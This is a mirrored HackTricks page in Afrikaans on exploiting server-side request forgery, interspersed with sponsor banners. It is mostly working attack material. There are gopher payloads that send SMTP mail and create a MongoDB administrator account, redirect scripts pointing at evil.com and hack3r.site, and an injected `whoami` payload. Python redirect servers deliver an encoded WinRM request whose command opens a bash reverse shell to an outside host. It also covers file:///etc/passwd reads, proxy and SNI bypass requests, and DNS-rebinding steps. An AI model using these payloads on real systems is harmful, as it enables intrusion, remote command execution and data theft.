mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-25 14:10:41 +00:00
407 lines
28 KiB
Markdown
407 lines
28 KiB
Markdown
# SSRF (Server Side Request Forgery)
|
|
|
|
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
\
|
|
Gebruik [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=ssrf-server-side-request-forgery) om maklik te bou en **werkvloei te outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapstoestelle.\
|
|
Kry Toegang Vandag:
|
|
|
|
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}
|
|
|
|
{% hint style="success" %}
|
|
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Ondersteun HackTricks</summary>
|
|
|
|
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
|
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
## Basiese Inligting
|
|
|
|
'n **Server-side Request Forgery (SSRF)** kwesbaarheid ontstaan wanneer 'n aanvaller 'n **server-side toepassing** manipuleer om **HTTP versoeke** na 'n domein van hul keuse te maak. Hierdie kwesbaarheid stel die bediener bloot aan arbitrêre eksterne versoeke wat deur die aanvaller gerig word.
|
|
|
|
## Capture SSRF
|
|
|
|
Die eerste ding wat jy moet doen, is om 'n SSRF-interaksie wat deur jou gegenereer is, te vang. Om 'n HTTP of DNS-interaksie te vang, kan jy gereedskap soos die volgende gebruik:
|
|
|
|
* **Burp Collaborator**
|
|
* [**pingb**](http://pingb.in)
|
|
* [**canarytokens**](https://canarytokens.org/generate)
|
|
* [**interractsh**](https://github.com/projectdiscovery/interactsh)
|
|
* [**http://webhook.site**](http://webhook.site)
|
|
* [**https://github.com/teknogeek/ssrf-sheriff**](https://github.com/teknogeek/ssrf-sheriff)
|
|
* [http://requestrepo.com/](http://requestrepo.com/)
|
|
* [https://github.com/stolenusername/cowitness](https://github.com/stolenusername/cowitness)
|
|
* [https://github.com/dwisiswant0/ngocok](https://github.com/dwisiswant0/ngocok) - 'n Burp Collaborator wat ngrok gebruik
|
|
|
|
## Whitelisted Domains Bypass
|
|
|
|
Gewoonlik sal jy vind dat die SSRF slegs werk in **sekere whitelisted domeine** of URL's. Op die volgende bladsy het jy 'n **samestelling van tegnieke om te probeer om daardie whitelist te omseil**:
|
|
|
|
{% content-ref url="url-format-bypass.md" %}
|
|
[url-format-bypass.md](url-format-bypass.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Bypass via open redirect
|
|
|
|
As die bediener korrek beskerm is, kan jy **alle beperkings omseil deur 'n Open Redirect binne die webblad te benut**. Omdat die webblad **SSRF na dieselfde domein** sal toelaat en waarskynlik **omleidings sal volg**, kan jy die **Open Redirect benut om die bediener toegang te laat kry tot enige interne hulpbron**.\
|
|
Lees meer hier: [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)
|
|
|
|
## Protokolle
|
|
|
|
* **file://**
|
|
* Die URL-skema `file://` word genoem, wat direk na `/etc/passwd` wys: `file:///etc/passwd`
|
|
* **dict://**
|
|
* Die DICT URL-skema word beskryf as gebruik om definisies of woordlyste via die DICT-protokol te benader. 'n Voorbeeld wat gegee word, illustreer 'n saamgestelde URL wat 'n spesifieke woord, databasis en inskrywingsnommer teiken, sowel as 'n geval van 'n PHP-skrip wat moontlik misbruik kan word om met 'n DICT-bediener te verbind met aanvaller-gelewer geloofsbriewe: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
|
|
* **SFTP://**
|
|
* Geïdentifiseer as 'n protokol vir veilige lêer oordrag oor 'n veilige skulp, 'n voorbeeld word gegee wat toon hoe 'n PHP-skrip misbruik kan word om met 'n kwaadwillige SFTP-bediener te verbind: `url=sftp://generic.com:11111/`
|
|
* **TFTP://**
|
|
* Triviale Lêer Oordrag Protokol, wat oor UDP werk, word genoem met 'n voorbeeld van 'n PHP-skrip wat ontwerp is om 'n versoek na 'n TFTP-bediener te stuur. 'n TFTP-versoek word gemaak na 'generic.com' op poort '12346' vir die lêer 'TESTUDPPACKET': `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
|
|
* **LDAP://**
|
|
* Hierdie segment dek die Lightweight Directory Access Protocol, met die klem op die gebruik daarvan om verspreide gidsinligtingdienste oor IP-netwerke te bestuur en te benader. Interaksie met 'n LDAP-bediener op localhost: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
|
|
* **SMTP**
|
|
* 'n Metode word beskryf om SSRF-kwesbaarhede te benut om met SMTP-dienste op localhost te interaksie, insluitend stappe om interne domeinnames te onthul en verdere ondersoek aksies gebaseer op daardie inligting.
|
|
```
|
|
From https://twitter.com/har1sec/status/1182255952055164929
|
|
1. connect with SSRF on smtp localhost:25
|
|
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
|
|
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
|
|
4. connect
|
|
```
|
|
* **Curl URL globbing - WAF omseiling**
|
|
* As die SSRF deur **curl** uitgevoer word, het curl 'n kenmerk genaamd [**URL globbing**](https://everything.curl.dev/cmdline/globbing) wat nuttig kan wees om WAFs te omseil. Byvoorbeeld in hierdie [**skrywe**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) kan jy hierdie voorbeeld vir 'n **pad traversering via `file` protokol** vind:
|
|
```
|
|
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
|
|
```
|
|
* **Gopher://**
|
|
* Die Gopher-protokol se vermoë om IP, poort en bytes vir bedienerkommunikasie te spesifiseer, word bespreek, saam met gereedskap soos Gopherus en remote-method-guesser vir die opstel van payloads. Twee verskillende gebruike word geïllustreer:
|
|
|
|
### Gopher://
|
|
|
|
Met hierdie protokol kan jy die **IP, poort en bytes** spesifiseer wat jy wil hê die bediener moet **stuur**. Dan kan jy basies 'n SSRF benut om met enige TCP-bediener te **kommunikeer** (maar jy moet weet hoe om met die diens te praat).\
|
|
gelukkig kan jy [Gopherus](https://github.com/tarunkant/Gopherus) gebruik om payloads vir verskeie dienste te skep. Boonop kan [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) gebruik word om _gopher_ payloads vir _Java RMI_ dienste te skep.
|
|
|
|
**Gopher smtp**
|
|
```
|
|
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
|
|
will make a request like
|
|
HELO localhost
|
|
MAIL FROM:<hacker@site.com>
|
|
RCPT TO:<victim@site.com>
|
|
DATA
|
|
From: [Hacker] <hacker@site.com>
|
|
To: <victime@site.com>
|
|
Date: Tue, 15 Sep 2017 17:20:26 -0400
|
|
Subject: Ah Ah AHYou didn't say the magic word !
|
|
.
|
|
QUIT
|
|
```
|
|
**Gopher HTTP**
|
|
```bash
|
|
#For new lines you can use %0A, %0D%0A
|
|
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
|
|
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
|
|
```
|
|
**Gopher SMTP — Terugverbinding na 1337**
|
|
|
|
{% code title="redirect.php" %}
|
|
```php
|
|
<?php
|
|
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
|
|
?>Now query it.
|
|
https://example.com/?q=http://evil.com/redirect.php.
|
|
```
|
|
{% endcode %}
|
|
|
|
#### Gopher MongoDB -- Skep gebruiker met gebruikersnaam=admin met wagwoord=admin123 en met toestemming=administrator
|
|
```bash
|
|
# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
|
|
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
|
|
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
|
|
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
|
|
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
|
|
%00%00administrator%00%00%00%00'
|
|
```
|
|
## SSRF via Referrer header & Others
|
|
|
|
Analytiese sagteware op bedieners log dikwels die Referrer header om inkomende skakels te volg, 'n praktyk wat per ongeluk toepassings blootstel aan Server-Side Request Forgery (SSRF) kwesbaarhede. Dit is omdat sulke sagteware eksterne URL's wat in die Referrer header genoem word, mag besoek om verwysingsite-inhoud te analiseer. Om hierdie kwesbaarhede te ontdek, word die Burp Suite-inprop "**Collaborator Everywhere**" aanbeveel, wat die manier waarop analitiese gereedskap die Referer header verwerk, benut om potensiële SSRF-aanvaloppervlakke te identifiseer.
|
|
|
|
## SSRF via SNI data from certificate
|
|
|
|
'n Misconfigurasie wat die verbinding met enige agtergrond deur 'n eenvoudige opstelling kan moontlik maak, word geïllustreer met 'n voorbeeld Nginx-konfigurasie:
|
|
```
|
|
stream {
|
|
server {
|
|
listen 443;
|
|
resolver 127.0.0.11;
|
|
proxy_pass $ssl_preread_server_name:443;
|
|
ssl_preread on;
|
|
}
|
|
}
|
|
```
|
|
In hierdie konfigurasie word die waarde van die Server Name Indication (SNI) veld direk as die agtergrond se adres gebruik. Hierdie opstelling stel 'n kwesbaarheid aan Server-Side Request Forgery (SSRF) bloot, wat benut kan word deur eenvoudig die gewenste IP-adres of domeinnaam in die SNI-veld te spesifiseer. 'n Voorbeeld van 'n benutting om 'n verbinding na 'n arbitrêre agtergrond, soos `internal.host.com`, te dwing, met die `openssl` opdrag word hieronder gegee:
|
|
```bash
|
|
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
|
|
```
|
|
## [Wget lêer opgelaai](../file-upload/#wget-file-upload-ssrf-trick)
|
|
|
|
## SSRF met Opdrag Inspuiting
|
|
|
|
Dit mag die moeite werd wees om 'n payload soos: `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` `` te probeer
|
|
|
|
## PDF's Rendering
|
|
|
|
As die webblad outomaties 'n PDF met inligting wat jy verskaf het, skep, kan jy **sekere JS invoeg wat deur die PDF-skeppende** (die bediener) self uitgevoer sal word terwyl die PDF geskep word en jy sal in staat wees om 'n SSRF te misbruik. [**Vind meer inligting hier**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
|
|
|
|
## Van SSRF na DoS
|
|
|
|
Skep verskeie sessies en probeer om swaar lêers af te laai deur die SSRF van die sessies te benut.
|
|
|
|
## SSRF PHP Funksies
|
|
|
|
Kyk na die volgende bladsy vir kwesbare PHP en selfs Wordpress funksies:
|
|
|
|
{% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %}
|
|
[php-ssrf.md](../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md)
|
|
{% endcontent-ref %}
|
|
|
|
## SSRF Oorplasing na Gopher
|
|
|
|
Vir sommige uitbuitings mag jy **'n oorplasing antwoord moet stuur** (potensieel om 'n ander protokol soos gopher te gebruik). Hier het jy verskillende python kodes om met 'n oorplasing te antwoord:
|
|
```python
|
|
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
|
|
from http.server import HTTPServer, BaseHTTPRequestHandler
|
|
import ssl
|
|
|
|
class MainHandler(BaseHTTPRequestHandler):
|
|
def do_GET(self):
|
|
print("GET")
|
|
self.send_response(301)
|
|
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
|
|
self.end_headers()
|
|
|
|
httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
|
|
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
|
|
httpd.serve_forever()
|
|
```
|
|
|
|
```python
|
|
from flask import Flask, redirect
|
|
from urllib.parse import quote
|
|
app = Flask(__name__)
|
|
|
|
@app.route('/')
|
|
def root():
|
|
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)
|
|
|
|
if __name__ == "__main__":
|
|
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
|
|
```
|
|
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
\
|
|
Gebruik [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=ssrf-server-side-request-forgery) om maklik te bou en **werkvloei** te **automate** wat deur die wêreld se **mees gevorderde** gemeenskapstools aangedryf word.\
|
|
Kry Toegang Vandag:
|
|
|
|
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}
|
|
|
|
## Misgekonfigureerde proxies na SSRF
|
|
|
|
Tricks [**uit hierdie pos**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
|
|
|
|
### Flask
|
|
|
|
<details>
|
|
|
|
<summary>Flask proxy kwesbare kode</summary>
|
|
```python
|
|
from flask import Flask
|
|
from requests import get
|
|
|
|
app = Flask('__main__')
|
|
SITE_NAME = 'https://google.com'
|
|
|
|
@app.route('/', defaults={'path': ''})
|
|
@app.route('/<path:path>')
|
|
|
|
def proxy(path):
|
|
return get(f'{SITE_NAME}{path}').content
|
|
|
|
if __name__ == "__main__":
|
|
app.run(threaded=False)
|
|
```
|
|
</details>
|
|
|
|
Flask laat toe om **`@`** as die aanvanklike karakter te gebruik, wat dit moontlik maak om die **aanvanklike gasheernaam die gebruikersnaam** te maak en 'n nuwe een in te spuit. Aanval versoek:
|
|
```http
|
|
GET @evildomain.com/ HTTP/1.1
|
|
Host: target.com
|
|
Connection: close
|
|
```
|
|
### Spring Boot <a href="#heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation" id="heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation"></a>
|
|
|
|
Kwetsbare kode:
|
|
|
|
<figure><img src="../../.gitbook/assets/image (1201).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Daar is ontdek dat dit moontlik is om die **pad** van 'n versoek met die karakter **`;`** te begin, wat dit moontlik maak om dan **`@`** te gebruik en 'n nuwe gasheer in te voeg om toegang te verkry. Aanval versoek:
|
|
```http
|
|
GET ;@evil.com/url HTTP/1.1
|
|
Host: target.com
|
|
Connection: close
|
|
```
|
|
### PHP Geboude Webbediener <a href="#heading-php-built-in-web-server-case-study-ssrf-through-incorrect-pathname-interpretation" id="heading-php-built-in-web-server-case-study-ssrf-through-incorrect-pathname-interpretation"></a>
|
|
|
|
<details>
|
|
|
|
<summary>Kwetsbare PHP kode</summary>
|
|
```php
|
|
<?php
|
|
$site = "http://ifconfig.me";
|
|
$current_uri = $_SERVER['REQUEST_URI'];
|
|
|
|
$proxy_site = $site.$current_uri;
|
|
var_dump($proxy_site);
|
|
|
|
echo "\n\n";
|
|
|
|
$response = file_get_contents($proxy_site);
|
|
var_dump($response);
|
|
?>
|
|
```
|
|
</details>
|
|
|
|
PHP laat die gebruik van die **karakter `*` voor 'n skuins streep in die pad** van die URL toe, maar dit het ander beperkings soos dat dit slegs vir die wortelpuntnaam `/` gebruik kan word en dat punte `.` nie voor die eerste skuins streep toegelaat word nie, so dit is nodig om 'n puntlose-hex-gecodeerde IP-adres te gebruik, byvoorbeeld:
|
|
```http
|
|
GET *@0xa9fea9fe/ HTTP/1.1
|
|
Host: target.com
|
|
Connection: close
|
|
```
|
|
## DNS Rebidding CORS/SOP omseiling
|
|
|
|
As jy **probleme** het om **inhoud van 'n plaaslike IP** te **ekstrakteer** as gevolg van **CORS/SOP**, kan **DNS Rebidding** gebruik word om daardie beperking te omseil:
|
|
|
|
{% content-ref url="../cors-bypass.md" %}
|
|
[cors-bypass.md](../cors-bypass.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Geoutomatiseerde DNS Rebidding
|
|
|
|
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) is 'n hulpmiddel om [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding) aanvalle uit te voer. Dit sluit die nodige komponente in om die IP-adres van die aanval bediener se DNS naam aan die teiken masjien se IP-adres te herbind en om aanval payloads te bedien om kwesbare sagteware op die teiken masjien te benut.
|
|
|
|
Kyk ook na die **openbare bediener wat loop in** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)
|
|
|
|
## DNS Rebidding + TLS Sessie ID/Sessie kaartjie
|
|
|
|
Vereistes:
|
|
|
|
* **SSRF**
|
|
* **Uitgaande TLS sessies**
|
|
* **Stuff op plaaslike poorte**
|
|
|
|
Aanval:
|
|
|
|
1. Vra die gebruiker/bot om **toegang** te verkry tot 'n **domein** wat deur die **aanvaller** beheer word
|
|
2. Die **TTL** van die **DNS** is **0** sek (so die slagoffer sal die IP van die domein binnekort weer nagaan)
|
|
3. 'n **TLS verbinding** word geskep tussen die slagoffer en die domein van die aanvaller. Die aanvaller stel die **payload binne** die **Sessie ID of Sessie Kaartjie** bekend.
|
|
4. Die **domein** sal 'n **oneindige lus** van omleidings teen **homself** begin. Die doel hiervan is om die gebruiker/bot te laat toegang verkry tot die domein totdat dit **weer** 'n **DNS versoek** van die domein uitvoer.
|
|
5. In die DNS versoek word 'n **private IP** adres **nou** gegee (127.0.0.1 byvoorbeeld)
|
|
6. Die gebruiker/bot sal probeer om die **TLS verbinding te herstelf** en om dit te doen sal dit die **Sessie** ID/Kaartjie ID **stuur** (waar die **payload** van die aanvaller ingesluit was). So geluk, jy het daarin geslaag om die **gebruiker/bot te laat aanval**.
|
|
|
|
Let daarop dat tydens hierdie aanval, as jy localhost:11211 (_memcache_) wil aanval, jy die slagoffer moet laat die aanvanklike verbinding met www.attacker.com:11211 tot stand bring (die **poort moet altyd dieselfde wees**).\
|
|
Om **hierdie aanval uit te voer kan jy die hulpmiddel gebruik**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
|
|
Vir **meer inligting** kyk na die praatjie waar hierdie aanval verduidelik word: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference)
|
|
|
|
## Blind SSRF
|
|
|
|
Die verskil tussen 'n blinde SSRF en 'n nie-blinde een is dat jy in die blinde nie die reaksie van die SSRF versoek kan sien nie. Dan is dit moeiliker om te benut omdat jy slegs goed bekende kwesbaarhede kan benut.
|
|
|
|
### Tyd-gebaseerde SSRF
|
|
|
|
**Kontroleer die tyd** van die reaksies van die bediener, dit mag **moontlik wees om te weet of 'n hulpbron bestaan of nie** (miskien neem dit meer tyd om toegang te verkry tot 'n bestaande hulpbron as om toegang te verkry tot een wat nie bestaan nie)
|
|
|
|
## Cloud SSRF Benutting
|
|
|
|
As jy 'n SSRF kwesbaarheid in 'n masjien wat binne 'n wolk omgewing loop vind, mag jy in staat wees om interessante inligting oor die wolk omgewing en selfs akrediteer te verkry:
|
|
|
|
{% content-ref url="cloud-ssrf.md" %}
|
|
